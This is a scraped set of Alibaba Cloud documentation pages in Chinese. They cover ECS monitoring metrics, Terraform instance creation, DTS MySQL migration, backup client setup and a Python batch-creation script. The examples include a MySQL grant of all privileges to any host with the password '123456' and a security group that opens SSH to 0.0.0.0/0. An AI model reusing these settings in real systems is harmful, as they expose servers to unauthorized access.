        (Agent)Host.disk.writebytes Byte/s disk_writebytes userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.disk.writeiops Count/s disk_writeiops userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.diskusage.free Byte diskusage_free userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.diskusage.total Byte diskusage_total userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.diskusage.used Byte diskusage_used userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.disk.utilization % diskusage_utilizatioin userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.fs.inode % fs_inodeutilization userId、instanceId、device Maximum、Minimum、Average
        (Agent)GPU维度解码器使用率 % gpu_decoder_utilization userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)GPU维度编码器使用率 % gpu_encoder_utilization userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)GPU维度GPU温度 gpu_gpu_temperature userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)GPU维度GPU使用率 % gpu_memory_userdutilization userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)GPU维度显存空闲量 Byte gpu_memory_freespace userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)GPU维度显存空闲率 % gpu_memory_freeutilization userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)GPU维度显存使用量 Byte gpu_memory_userdspace userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)GPU维度显存使用率 % gpu_memory_usedutilization userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)GPU维度GPU功率 W gpu_power_readings_power_draw userId、instanceId、gpuId Maximum、Minimum、Average
        (Agent)分组维度解码器使用率 % group_gpu_decoder_utilization userId、groupId Maximum、Minimum、Average
        (Agent)分组维度编码器使用率 % group_gpu_encoder_utilization userId、groupId Maximum、Minimum、Average
        (Agent)分组维度GPU温度 group_gpu_gpu_temperature userId、groupId Maximum、Minimum、Average
        (Agent)分组维度GPU使用率 % group_gpu_gpu_usedutilization userId、groupId Maximum、Minimum、Average
        (Agent)分组维度显存空闲量 Byte group_gpu_memory_freespace userId、groupId Maximum、Minimum、Average
        (Agent)分组维度显存空闲率 % group_gpu_memory_freeutilization userId、groupId Maximum、Minimum、Average
        (Agent)分组维度显存使用量 Byte group_gpu_memory_usedspace userId、groupId Maximum、Minimum、Average
        (Agent)分组维度显存使用率 % group_gpu_memory_usedutilization userId、groupId Maximum、Minimum、Average
        (Agent)分组维度GPU功率 W group_gpu_power_readings_power_draw userId、groupId Maximum、Minimum、Average
        (Agent)实例维度解码器使用率 % instance_gpu_decoder_utilization userId、instanceId Maximum、Minimum、Average
        (Agent)实例维度编码器使用率 % instance_gpu_encoder_utilization userId、instanceId Maximum、Minimum、Average
        (Agent)实例维度GPU温度 instance_gpu_temperature userId、instanceId Maximum、Minimum、Average
        (Agent)实例维度GPU使用率 % instance_gpu_usedutilization userId、instanceId Maximum、Minimum、Average
        (Agent)实例维度显存空闲量 Byte instance_gpu_memory_freespace userId、instanceId Maximum、Minimum、Average
        (Agent)实例维度显存空闲率 % instance_gpu_memory_freeutlization userId、instanceId Maximum、Minimum、Average
        (Agent)实例维度显存使用量 Byte instance_gpu_memory_usedspace userId、instanceId Maximum、Minimum、Average
        (Agent)实例维度显存使用率 % instance_gpu_memory_usedutilizatioin userId、instanceId Maximum、Minimum、Average
        (Agent)实例维度GPU功率 W instance_gpu_power_readings_power_draw userId、instanceId Maximum、Minimum、Average
        (Agent)Host.load15 load_15m userId、instanceId Maximum、Minimum、Average
        (Agent)Host.load1 load_1m userId、instanceId Maximum、Minimum、Average
        (Agent)Host.load5 load_5m userId、instanceId Maximum、Minimum、Average
        (Agent)Host.mem.actualUsedSpace Byte memory_actualUsedSpace userId、instanceId Maximum、Minimum、Average
        (Agent)Host.mem.free Byte memory_freespace userId、instanceId Maximum、Minimum、Average
        (Agent)Host.mem.freeutilization % memory_freeutilization userId、instanceId Maximum、Minimum、Average
        (Agent)Host.mem.total Byte memory_totalspace userId、instanceId Maximum、Minimum、Average
        (Agent)Host.mem.used Byte memory_usedspace userId、instanceId Maximum、Minimum、Average
        (Agent)Host.mem.usedutilization % memory_usedutilization userId、instanceId Maximum、Minimum、Average
        (Agent)Host.tcpconnection Count net_tcpconnection userId、instanceId、state Maximum、Minimum、Average
        (Agent)Host.netin.errorpackage Count/s networkin_errorpackage userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.netin.packages Count/s networkin_packages userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.netin.rate bit/s networkin_rate userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.netout.errorpackages Count/s networkout_errorpackages userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.netout.packages Count/s networkout_packages userId、instanceId、device Maximum、Minimum、Average
        (Agent)Host.netout.rate bit/s networkout_rate userId、instanceId、device Maximum、Minimum、Average
        进程数 Count/Min process.number userId、instanceId、processName Maximum、Minimum、Average
        (旧版Agent)CPU使用率 % vm.CPUUtilization userId、instanceId Maximum、Minimum、Average
        (旧版Agent)磁盘IO读 Byte/s vm.DiskIORead userId、instanceId、diskname Maximum、Minimum、Average
        (旧版Agent)磁盘IO写 Byte/s vm.DiskIOWrite userId、instanceId、diskname Maximum、Minimum、Average
        (旧版Agent)inode使用率 % vm.DiskIusedUtilization userId、instanceId、mountpoint Maximum、Minimum、Average
        (旧版Agent)磁盘使用率 % vm.DiskUtilization userId、instanceId、mountpoint Maximum、Minimum、Average
        (旧版Agent)平均负载 vm.LoadAverage userId、instanceId、period Maximum、Minimum、Average
        (旧版Agent)内存使用率 % vm.MemoryUtilization userId、instanceId Maximum、Minimum、Average
        (旧版Agent)进程数 Count/Min vm.Process.number userId、instanceId、processName Maximum、Minimum、Average
        (旧版Agent)进程总数 Count/Min vm.ProcessCount userId、instanceId Maximum、Minimum、Average
        (旧版Agent)TCP连接数 Count/Min vm.TcpCount userId、instanceId、state Maximum、Minimum、Average
        (Agent)Host.process.openfile process.openfile userId、instanceId、name、pid Maximum、Minimum、Average

      ]]> 创建一台ECS实例_Terraform_部署与弹性_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建一台ECS实例

      更新时间:2020-04-07 14:28:15

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍如何使用Terraform创建一台ECS实例。

      操作步骤

      1. 创建VPC网络和交换机。

        本示例中Terraform的版本为0.11。

        说明 Terraform 0.11及更早的版本,变量表达式使用示例为vpc_id = "${alicloud_vpc.vpc.id}"。Terraform 0.12版本进行了更新,变量表达式使用示例为vpc_id = "alicloud_vpc.vpc.id"。请根据您安装的版本修改相应的变量表达式的格式。

        1. 创建terraform.tf文件,输入以下内容,并保存在当前的执行目录中。

          resource "alicloud_vpc" "vpc" {
            name       = "tf_test_foo"
            cidr_block = "172.16.0.0/12"
          }
          
          resource "alicloud_vswitch" "vsw" {
            vpc_id            = "${alicloud_vpc.vpc.id}"
            cidr_block        = "172.16.0.0/21"
            availability_zone = "cn-beijing-b"
          }

        2. 运行terraform init初始化环境。
        3. 运行terraform plan查看资源。
        4. 确认资源无误后,运行terraform apply开始创建。
        5. 运行terraform show查看已创建的VPC和VSwitch。

          您也可以登录VPC控制台查看VPC和VSwitch的属性。

      2. 创建安全组,并将安全组作用于上一步创建的VPC中。
        1. terraform.tf文件中增加以下内容。

          resource "alicloud_security_group" "default" {
            name = "default"
            vpc_id = "${alicloud_vpc.vpc.id}"
          }
          
          resource "alicloud_security_group_rule" "allow_all_tcp" {
            type              = "ingress"
            ip_protocol       = "tcp"
            nic_type          = "intranet"
            policy            = "accept"
            port_range        = "22/22"
            priority          = 1
            security_group_id = "${alicloud_security_group.default.id}"
            cidr_ip           = "0.0.0.0/0"
          }

        2. 运行terraform plan查看资源。
        3. 确认资源无误后,运行terraform apply开始创建。
        4. 运行terraform show查看已创建的安全组和安全组规则。

          您也可以登录ECS控制台查看安全组和安全组规则。

      3. 创建ECS实例。
        1. terraform.tf文件中增加以下内容。

          resource "alicloud_instance" "instance" {
            # cn-beijing
            availability_zone = "cn-beijing-b"
            security_groups = ["${alicloud_security_group.default.*.id}"]
          
            # series III
            instance_type        = "ecs.n2.small"
            system_disk_category = "cloud_efficiency"
            image_id             = "ubuntu_140405_64_40G_cloudinit_20161115.vhd"
            instance_name        = "test_foo"
            vswitch_id = "${alicloud_vswitch.vsw.id}"
            internet_max_bandwidth_out = 10
            password = "<replace_with_your_password>"
          }

          说明

          • 在上述示例中,指定了internet_max_bandwidth_out = 10,因此会自动为实例分配一个公网IP。
          • 详细的参数解释请参见阿里云参数说明

        2. 运行terraform plan查看资源。
        3. 确认资源无误后,运行terraform apply开始创建。
        4. 运行terraform show查看已创建的ECS实例。
        5. 运行ssh root@<publicip>,并输入密码来访问ECS实例。

      操作样例

      provider "alicloud" {}
      
      resource "alicloud_vpc" "vpc" {
        name       = "tf_test_foo"
        cidr_block = "172.16.0.0/12"
      }
      
      resource "alicloud_vswitch" "vsw" {
        vpc_id            = "${alicloud_vpc.vpc.id}"
        cidr_block        = "172.16.0.0/21"
        availability_zone = "cn-beijing-b"
      }
      
      
      resource "alicloud_security_group" "default" {
        name = "default"
        vpc_id = "${alicloud_vpc.vpc.id}"
      }
      
      
      resource "alicloud_instance" "instance" {
        # cn-beijing
        availability_zone = "cn-beijing-b"
        security_groups = ["${alicloud_security_group.default.*.id}"]
      
        # series III
        instance_type        = "ecs.n2.small"
        system_disk_category = "cloud_efficiency"
        image_id             = "ubuntu_140405_64_40G_cloudinit_20161115.vhd"
        instance_name        = "test_foo"
        vswitch_id = "${alicloud_vswitch.vsw.id}"
        internet_max_bandwidth_out = 10
      }
      
      
      resource "alicloud_security_group_rule" "allow_all_tcp" {
        type              = "ingress"
        ip_protocol       = "tcp"
        nic_type          = "intranet"
        policy            = "accept"
        port_range        = "22/22"
        priority          = 1
        security_group_id = "${alicloud_security_group.default.id}"
        cidr_ip           = "0.0.0.0/0"
      }

      ]]> ECS实例自建数据库间迁移_迁移自建数据库_迁移服务_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例自建数据库间迁移

      更新时间:2019-09-29 11:03:11

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      数据传输服务(Data Transmission Service,简称DTS)是阿里云提供的支持RDBMS、NoSQL、OLAP等多种数据源之间数据交互的数据服务。本文以MySQL数据库为例,介绍如何配置DTS迁移任务,实现ECS实例上自建数据库间的数据迁移。

      前提条件

      • 在目标ECS实例的安全组中放行MySQL监听的端口。MySQL监听的默认端口号为3306。
      • 分别为源ECS实例和目标ECS实例上的MySQL数据库创建非root账号。

        例如,您可以运行以下命令为MySQL数据库创建名为dts、密码为123456的账号。

        grant all on *.*  to 'dts'@'%'  IDENTIFIED BY '123456';

      背景信息

      DTS提供的数据迁移功能能够支持同异构数据源之间的数据迁移,同时提供了库表列三级映射、数据过滤多种ETL特性。您可以使用DTS进行零停机迁移,在迁移过程中,源数据库正常持续提供服务,最大程度降低迁移对业务的影响。DTS支持的数据库类型请参见数据迁移

      操作步骤

      1. 登录数据传输DTS控制台
      2. 在左侧导航栏,单击数据迁移
      3. 选择ECS实例所在地域,并单击创建迁移任务
      4. 配置迁移任务。
        1. 配置任务名称。

          您可以使用默认的名称或者自定义名称。

        2. 配置源库信息。

          参数名称 参数值
          实例类型 ECS上的自建数据库。
          实例地区 源ECS实例所在地域。
          ECS实例ID 源ECS实例的实例ID。DTS 支持经典网络及专有网络的ECS实例。
          数据库类型 源ECS实例上自建数据库的类型。本示例中,数据库类型为MySQL。
          端口 MySQL数据库监听的端口号。
          数据库账号 源ECS实例上MySQL数据库的非root账号。

          说明 数据库账号必须填写非root账号,否则测试连接时会报错。

          数据库密码 非root账号对应的密码。

        3. 单击源库信息右下角的测试连接

          当返回的结果为测试通过时,表示源库连接正常。

        4. 配置目标库信息。

          参数名称 参数值
          实例类型 ECS上的自建数据库。
          实例地区 目标ECS实例所在地域。
          ECS实例ID 目标ECS实例的实例ID。DTS 支持经典网络及专有网络的ECS实例。
          数据库类型 与源ECS实例自建数据库类型相同。本示例中,数据库类型为MySQL。
          端口 MySQL数据库监听的端口号。
          数据库账号 目标ECS实例上MySQL数据库的非root账号。

          说明 数据库账号必须填写非root账号,否则测试连接时会报错。

          数据库密码 非root账号对应的密码。

        5. 单击目标库信息右下角的测试连接

          当返回的结果为测试通过时,表示目标库连接正常。

        6. 单击授权白名单并进入下一步
      5. 配置迁移类型及迁移对象。
        1. 配置迁移类型。

          • 业务零停机迁移,请选择:结构迁移+全量数据迁移+增量数据迁移。
          • 全量迁移,请选择:结构迁移+全量数据迁移。

        2. 配置迁移对象。

          迁移对象框中单击要迁移的数据库对象,如数据库、表或列,然后单击>添加到已选择对象框中。

          说明 默认情况下,数据库对象迁移到ECS自建MySQL实例后,对象名跟本地MySQL实例一致。如果迁移的数据库对象在源实例跟目标实例上名称不同,您需要使用DTS提供的对象名映射功能,详细信息请参见库表列映射

      6. 单击预检查并启动

        在迁移任务正式启动之前,会预检查连通性、权限及日志格式等。下图表示预检查成功通过。

        预检查通过后,您可以在迁移任务列表中查看迁移任务的迁移状态及进度。

      ]]> 部署ECS备份客户端_ECS 文件备份_ECS备份教程_混合云备份服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 部署ECS备份客户端

      更新时间:2020-05-20 18:12:45

      本页目录

      使用ECS备份客户端备份和恢复ECS文件前,您需要在混合云备份(HBR)管理控制台部署ECS备份客户端。

      背景信息

      您可以为指定地域下的少量ECS实例安装备份客户端,也可以为某地域下指定的多个或所有ECS实例批量安装备份客户端。

      当您的ECS备份客户端版本过低,您可以将其升级至最新版本;当您的ECS备份客户端激活失败或者升级失败,请卸载客户端后重新安装;当您不再需要ECS备份客户端中的备份数据时,您可以将此客户端删除。

      少量安装ECS备份客户端

      为某地域下指定的少量ECS实例安装备份客户端步骤如下:

      1. 登录混合云备份管理控制台
      2. 在左侧导航栏,选择备份 > ECS文件备份
      3. 选择要备份的ECS实例所在的区域。
      4. ECS实例页签右上角,单击添加ECS实例
      5. 添加ECS实例页面,按说明配置以下各项参数。

        参数 说明
        备份库配置 备份库是混合云备份的云上存储仓库,用于保存备份的数据。多个客户端可以备份到同一个备份库。备份库有地域属性,您仅能选择或者新建当前地域下的备份库。
        • 如果您之前已经创建过备份库,单击选择备份库,并在备份库名称下拉框中选择已创建的备份库。
        • 如果您之前没有创建过备份库,单击新建备份库,然后输入备份库名称即可创建一个新仓库。备份库名称不得超过64个字节。
        用HTTPS传输数据 数据加密存储到备份库后,您可以选择是否使用HTTPS传输数据。使用HTTPS会降低数据传输性能。如果修改了此项配置,在下一次备份或恢复任务开始时生效。
        ECS实例 选中需要安装客户端的ECS实例。您也可以在搜索栏左侧,选择实例ID实例名VPC ID私有IP(VPC)以及内网IP(经典网络),然后输入相应的全称或关键字搜索目标实例。

        注意 如果选择了内网IP(经典网络)类型的ECS实例,还需填写阿里云账号AK(推荐使用子账号AK)。

      6. 单击创建,系统将自动在您选择的ECS中安装备份客户端。

      批量安装ECS备份客户端

      为某地域下指定的多个或所有ECS实例批量安装备份客户端步骤如下:

      1. 登录混合云备份管理控制台
      2. 在左侧导航栏,选择备份 > ECS文件备份
      3. 选择要备份的ECS实例所在的区域。
      4. ECS实例页签右上角,选择批量操作 > 批量添加ECS实例
      5. 批量添加ECS实例对话框,输入备份库名称即可创建一个备份库。仓库名称不得超过64个字节。
      6. (可选)指定需要安装客户端的ECS的私有IP(VPC)内网IP(经典网络)

        说明

        • 如果未指定要备份的ECS的IP,模版默认列出该Region所有已安装云助手且未安装备份客户端的ECS。
        • 指定要备份的ECS的IP后,模版里面就只包括指定IP的ECS列表。
        • 多个IP需用英文逗号(,)分隔开。

      7. 单击下载模板
      8. 打开下载的模板文件,填写Access Key IdAccess Key Secret(VPC网络类型的实例无需填写),然后保存文件。

        说明

        • 如果批量创建超过20个客户端,系统会自动创建新的仓库以容纳额外的客户端。
        • 关于如何获取Access Key Id和Access Key Secret,参见查看访问密钥基本信息
        • 如果您不需要在某个ECS上安装客户端,请删除该ECS所在一整行。
        • 请不要修改模板文件中的Instance IdInstance Name、以及Network Type
        • 为了您的账号安全,在成功上传模版之后,删除本地模版文件。

      9. 单击上传文件,上传填写好的模板。

        上传模板后,页面会显示已选择的各类型的ECS实例数量以及总数量。

      管理实例客户端

      ECS文件备份页面,单击ECS实例页签,找到目标ECS实例。如实例过多,您可以在页面右上角的搜索栏,输入目标ECS实例的私有IP(VPC)内网IP(经典网络)搜索目标ECS实例。

      找到目标ECS实例后,您可以查看客户端安装状态、卸载客户端、删除客户端、以及升级客户端等。

      操作 描述
      查看客户端的安装状态 安装成功后,客户端状态会显示为已激活。如状态为安装失败,请根据错误信息提示进行操作,然后选择操作 > 更多 > 安装客户端
      卸载客户端 您可以在实例右侧,选择操作 > 更多 > 卸载客户端
      删除客户端 如需在ECS实例列表上删除一个ECS实例,并卸载在该ECS实例上安装的客户端,您可以在节点右侧,选择操作 > 更多 > 删除

      说明 删除客户端会删除已有的备份数据,同时会导致正在执行的备份、恢复任务失败。删除客户端前,请您确保不再需要此客户端的备份数据,同时确保该客户端上没有正在执行的备份、恢复任务。

      升级客户端 找到目标ECS实例,单击升级,将当前的客户端升级到最新版本。

      ]]> ECS实例交付(创建)方式_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例交付(创建)方式

      更新时间:2020-02-19 16:10:20

      本页目录

      云服务器ECS提供单台交付、批量交付、高可用部署、自动化创建集群等多种ECS实例交付(创建)方式,支持控制台操作和API调用,满足您在不同场景下的ECS实例创建需求。

      手动创建单台/多台实例

      适用场景:批量创建具有相同实例规格、可用区、付费模式等配置的ECS实例。

      创建方式:

      创建数量:控制台根据您的云服务器使用情况而定,RunInstances单次1~100台。

      使用控制台和RunInstances创建ECS实例时,实例生命周期如下:RunInstances状态图

      您也可以使用CreateInstance创建一台ECS实例,但创建完成后进入已停止(Stopped)状态,您必须手动启动ECS实例。

      高可用打散部署实例(部署集)

      适用场景:将ECS实例分散部署到不同的物理机上,适合为具有高可用和底层容灾要求的应用提供算力。

      创建方式:先创建部署集,然后在创建ECS实例时指定部署集。创建ECS实例时可通过控制台、RunInstances或CreateInstance。

      创建数量:视创建方式而定,控制台和RunInstances单次1~7台,CreateInstance单次1台。

      使用限制:

      • 每个部署集在单个可用区下最多创建7台ECS实例。
      • 仅支持特定的ECS实例规格,具体说明请参见部署集概述
      • 付费模式支持包年包月和按量付费,不支持抢占式实例。

      详细操作:

      自动化低成本弹性创建实例集群(弹性供应)

      适用场景:一键部署跨付费模式、跨可用区和跨实例规格的实例集群。适合需要快速交付稳定算力,同时使用抢占式实例降低成本的场景。

      创建方式:创建弹性供应组,由弹性供应组自动批量创建ECS实例。

      创建数量:单个弹性供应组1~1000台ECS实例。

      使用限制:付费模式支持按量付费和抢占式实例,不支持包年包月。

      详细操作:

      自动化弹性创建和释放实例(弹性伸缩)

      适用场景:持续维护跨付费模式、跨可用区、跨实例规格的实例集群。适合业务负载存在峰谷波动的场景。

      创建方式:创建伸缩组和触发任务,由伸缩组自动批量创建或释放ECS实例。

      创建数量:

      • 单次伸缩活动最多创建1000台ECS实例。
      • 单个伸缩组最多支持1000台ECS实例。

      使用限制:自动创建ECS实例的付费模式支持按量付费和抢占式实例。支持将已有包年包月实例手动添加至伸缩组,但不支持在伸缩组内自动创建包年包月实例。

      详细操作:

      弹性伸缩还支持更多便捷功能,提高交付效率,缩短算力需求出现和算力投入使用之间的流程。例如为ECS实例自动关联SLB实例和RDS实例,配置生命周期挂钩用于对ECS实例进行自定义操作等。您可以基于弹性伸缩实现贴合您业务需求的极致弹性,最佳实践示例请参见:

      ]]> 批量创建ECS实例_Python示例_SDK示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 批量创建ECS实例

      更新时间:2020-04-17 20:53:46

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      RunInstances批量创建实例接口可以帮助您一次创建多台ECS按量付费或包年包月实例来完成应用的开发和部署,方便实现弹性的资源创建。

      前提条件

      调用API前,您需要先创建AccessKey。具体操作,请参见创建AccessKey

      注意 禁止使用主账号AK,因为主账号AK泄露会威胁您所有资源的安全。请使用子账号AK进行操作,可有效降低AK泄露的风险。

      背景信息

      CreateInstance接口相比,RunInstances接口有以下优点:

      • 单次可以最多创建100台实例,避免重复调用。
      • 实例创建之后,实例会自动变成Starting状态,然后变成Running状态,不需要您调用StartInstance的操作。
      • 创建实例的时候指定了InternetMaxBandwidthOut,则自动为您分配公网IP,不需要您再调用分配IP的操作。
      • 您也可以一次创建100台抢占式实例,充分满足您的弹性需求。
      • 创建的参数保持和CreateInstance保持兼容,增加了Amount参数来设定创建的个数,以及AutoReleaseTime参数来设定自动释放时间,不需要您再额外设置自动释放时间。
      • 创建返回一个InstanceIdSets会记录相关的InstanceIds,您只需要根据实例ID轮询实例状态即可。详情请参见DescribeInstanceStatus

      本文提供了批量创建ECS实例的完整代码示例请参见完整代码,并提供了代码示例解析,请参见:

      更多代码示例请参见阿里云代码示例库(CodeSample)

      安装ECS Python SDK

      首先确保您已经具备Python的Runtime,本文中使用的Python版本为2.7+。

      这里以Python为示例,其他SDK的版本大于4.4.3即可。

      pip install aliyun-python-sdk-ecs

      如果提示您没有权限,请切换sudo继续执行。

      sudo pip install aliyun-python-sdk-ecs

      本文使用的SDK版本为4.4.3, 如果您使用是旧版本的SDK,需要更新。

      完整代码

      #  coding=utf-8
      # if the python sdk is not install using 'sudo pip install aliyun-python-sdk-ecs'
      # if the python sdk is install using 'sudo pip install --upgrade aliyun-python-sdk-ecs'
      # make sure the sdk version is 4.4.3, you can use command 'pip show aliyun-python-sdk-ecs' to check
      
      import json
      import logging
      import time
      from aliyunsdkcore import client
      from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
      from aliyunsdkecs.request.v20140526.RunInstancesRequest import RunInstancesRequest
      logging.basicConfig(level=logging.INFO,
                          format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',
                          datefmt='%a, %d %b %Y %H:%M:%S')
      
      # 您的access key Id。
      ak_id = "your-access-key-id"
      
      # 您的access key secret。
      ak_secret = "your-access-key-secret"
      
      # 设置地域。
      region_id = "cn-hangzhou"
      
      clt = client.AcsClient(ak_id, ak_secret, region_id)
      
      # 设置实例规格。
      instance_type = "ecs.g6.large"
      
      # 选择的交换机。
      vswitch_id = "vsw-bp1ddbrxdlrcbim46****"
      
      # 使用的镜像信息。
      image_id = "<imageid>"
      
      # 当前VPC类型的安全组。
      security_group_id = "sg-bp1i4c0xgqxadew2****"
      
      # 批量创建ECS实例的数量, 取值范围:1-100, 默认值:1。
      amount = 2;
      
      # 自动释放时间。使用UTC时间,格式为 yyyy-MM-ddTHH:mm:ssZ。最短释放时间为当前时间半小时之后;最长释放时间不能超过当前时间三年。
      auto_release_time = "2020-04-17T18:20:00Z"
      
      # 创建ECS实例并启动。
      def create_multiple_instances():
          request = build_request()
          request.set_Amount(amount)
          _execute_request(request)
      
      # 创建ECS实例并分配公网IP。
      def create_multiple_instances_with_public_ip():
          request = build_request()
          request.set_Amount(amount)
          request.set_InternetMaxBandwidthOut(1)
          _execute_request(request)
      
      # 创建ECS实例并设置自动释放时间。
      def create_multiple_instances_with_auto_release_time():
          request = build_request()
          request.set_Amount(amount)
          request.set_AutoReleaseTime(auto_release_time)
          _execute_request(request)
      
      def _execute_request(request):
          response = _send_request(request)
          if response.get('Code') is None:
              instance_ids = response.get('InstanceIdSets').get('InstanceIdSet')
              running_amount = 0
              while running_amount < amount:
                  time.sleep(10)
                  running_amount = check_instance_running(instance_ids)
          print("ecs instance %s is running", instance_ids)
      
      def check_instance_running(instance_ids):
          request = DescribeInstancesRequest()
          request.set_InstanceIds(json.dumps(instance_ids))
          response = _send_request(request)
          if response.get('Code') is None:
              instances_list = response.get('Instances').get('Instance')
              running_count = 0
              for instance_detail in instances_list:
                  if instance_detail.get('Status') == "Running":
                      running_count += 1
              return running_count
      
      def build_request():
          request = RunInstancesRequest()
          request.set_ImageId(image_id)
          request.set_VSwitchId(vswitch_id)
          request.set_SecurityGroupId(security_group_id)
          request.set_InstanceName("Instance-Name")
          request.set_InstanceType(instance_type)
          return request
      
      # 发送API请求
      def _send_request(request):
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)
      
      if __name__ == '__main__':
          print ("hello ecs batch create instance")
          # 创建ECS实例并启动。
          create_multiple_instances()
          # 创建绑定公网IP的ECS实例。
          # create_multiple_instances_with_public_ip()
          # 创建ECS实例并设置自动释放时间。
          # create_multiple_instances_with_auto_release_time()

      批量创建实例

      首先创建RunInstancesRequest的实例,然后填入相关需要的参数即可。

      下面的例子创建了2台实例,并且添加了自动每隔10秒钟检查一次实例的运行状态。直到实例状态变成Running结束创建流程。

      # 您的access key Id。
      ak_id = "your-access-key-id"
      
      # 您的access key secret。
      ak_secret = "your-access-key-secret"
      
      # 设置地域。
      region_id = "cn-hangzhou"
      
      clt = client.AcsClient(ak_id, ak_secret, region_id)
      
      # 设置实例规格。
      instance_type = "ecs.g6.large"
      
      # 选择的交换机。
      vswitch_id = "vsw-bp1ddbrxdlrcbim46****"
      
      # 使用的镜像信息。
      image_id = "<imageid>"
      
      # 当前VPC类型的安全组。
      security_group_id = "sg-bp1i4c0xgqxadew2****"
      
      # 批量创建ECS实例的数量, 取值范围:1-100, 默认值:1。
      amount = 2;
      
      # 自动释放时间。使用UTC时间,格式为 yyyy-MM-ddTHH:mm:ssZ。最短释放时间为当前时间半小时之后;最长释放时间不能超过当前时间三年。
      auto_release_time = "2020-04-17T18:20:00Z"
      
      # 创建ECS实例并启动。
      def create_multiple_instances():
          request = build_request()
          request.set_Amount(amount)
          _execute_request(request)
      
      def _execute_request(request):
          response = _send_request(request)
          if response.get('Code') is None:
              instance_ids = response.get('InstanceIdSets').get('InstanceIdSet')
              running_amount = 0
              while running_amount < amount:
                  time.sleep(10)
                  running_amount = check_instance_running(instance_ids)
          print("ecs instance %s is running", instance_ids)
      
      def check_instance_running(instance_ids):
          request = DescribeInstancesRequest()
          request.set_InstanceIds(json.dumps(instance_ids))
          response = _send_request(request)
          if response.get('Code') is None:
              instances_list = response.get('Instances').get('Instance')
              running_count = 0
              for instance_detail in instances_list:
                  if instance_detail.get('Status') == "Running":
                      running_count += 1
              return running_count
      
      def build_request():
          request = RunInstancesRequest()
          request.set_ImageId(image_id)
          request.set_VSwitchId(vswitch_id)
          request.set_SecurityGroupId(security_group_id)
          request.set_InstanceName("Instance-Name")
          request.set_InstanceType(instance_type)
          return request
      
      # 发送API请求
      def _send_request(request):
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)

      批量创建实例并自动分配公网IP

      相比批量创建实例的代码,只需要添加一行属性,指定公网的带宽即可。下面的例子中默认给实例都分配了1 M的按流量带宽。

      # 创建ECS实例并分配公网IP。
      def create_multiple_instances_with_public_ip():
          request = build_request()
          request.set_Amount(amount)
          request.set_InternetMaxBandwidthOut(1)
          _execute_request(request)

      批量创建实例并自动设置自动释放时间

      相比批量创建实例的代码,只需要添加一行属性,指定实例的自动释放时间即可。自动释放时间按照ISO8601标准表示,并需要使用UTC时间,格式为yyyy-MM-ddTHH:mm:ssZ。最短在当前时间之后半小时,最长不能超过当前时间起三年。详情请参见时间格式

      # 创建ECS实例并设置自动释放时间。
      def create_multiple_instances_with_auto_release_time():
          request = build_request()
          request.set_Amount(amount)
          request.set_AutoReleaseTime(auto_release_time)
          _execute_request(request)

      ]]> ECS_预设规则_资源合规审计_配置审计-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS

      更新时间:2020-05-11 11:11:38

      本页目录

      ecs-cpu-min-count-limit

      检查ECS实例的CPU数量最小限制。

      Trigger type:配置更改

      资源:ACS::ECS::Instance

      参数:

      • cpuCount
      • ECS实例包含的最小CPU数量

      修复指南:

      当您账号下的ECS实例CPU数量小于您设置的规则参数阈值,会导致该规则不合规。

      方法一:更改ECS实例规格(停止状态的实例才能更改实例规格),使更改后的ECS实例的CPU数量大于等于您设置的规则参数阈值。配置审计会在10分钟内感知到您的修改并自动启动审计。

      方法二:修改规则参数的规则参数阈值,单击重新审计后刷新页面进行验证。

      控制台更改实例规格:

      ECS_1ECS_2

      API更改实例规格:调用ModifyInstanceSpec接口,修改实例规格InstanceType的值。

      ecs-desired-instance-type

      检查ECS实例是否具有指定的实例类型。

      资源:ACS::ECS::Instance

      Trigger type:配置更改

      参数:instanceTypes

      英文逗号分隔的ECS实例类型列表(例如t2.small, m4.large, i2.xlarge)。

      修复指南:

      您账号下ECS实例规格族未在规则参数阈值中列举出,则会导致该规则不合规。规则参数阈值列表中包含ECS实例的实例规格,该实例即为合规。

      方法一:更改ECS实例规格(停止状态的实例才能更改实例规格),更改成规则参数阈值中列出的实例规格中的某一个。配置审计会在10分钟内感知到您的修改并自动启动审计。

      方法二:编辑规则参数阈值,将ECS实例的实例规格添加到规则参数阈值中。编辑后单击重新审计后刷新页面进行验证。

      控制台更改实例规格:

      ECS_3

      API更改实例规格:

      调用ModifyInstanceSpec接口,修改实例规格InstanceType的值。

      ecs-disk-encrypted

      检查处于连接状态的磁盘是否已加密。如果使用kmsId参数为加密指定了KMS密钥的ID,则该规则将检查连接状态中的磁盘是否使用该KMS密钥进行加密。

      资源:ACS::ECS::Disk

      Trigger type:配置更改

      参数:

      kmsIds

